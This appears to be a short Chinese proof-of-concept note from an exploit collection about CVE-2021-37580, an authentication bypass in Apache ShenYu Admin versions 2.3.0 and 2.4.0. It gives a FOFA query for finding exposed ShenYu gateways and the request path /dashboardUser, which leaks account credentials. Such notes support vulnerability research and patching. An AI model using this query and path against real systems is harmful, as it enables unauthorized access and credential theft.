Awesome-POC/Web服务器漏洞/Apache ShenYu dashboardUser 账号密码泄漏漏洞 CVE-2021-37580.md
2022-05-25 16:51:48 +08:00

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# Apache ShenYu dashboardUser 账号密码泄漏漏洞 CVE-2021-37580
## 漏洞描述
Apache ShenYu Admin爆出身份验证绕过漏洞攻击者可通过该漏洞绕过JSON Web Token (JWT)安全认证,直接进入系统后台。 Apache ShenYu 是应用于所有微服务场景的,可扩展、高性能、响应式的 API 网关解决方案。
## 漏洞影响
```
Apache ShenYu 2.3.0
Apache ShenYu 2.4.0
```
## FOFA
```
title=="ShenYu Gateway"
```
## 漏洞复现
登录页面
![image-20220525161442379](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205251614427.png)
验证POC
```
/dashboardUser
```
![image-20220525161531420](https://typora-notes-1308934770.cos.ap-beijing.myqcloud.com/202205251615480.png)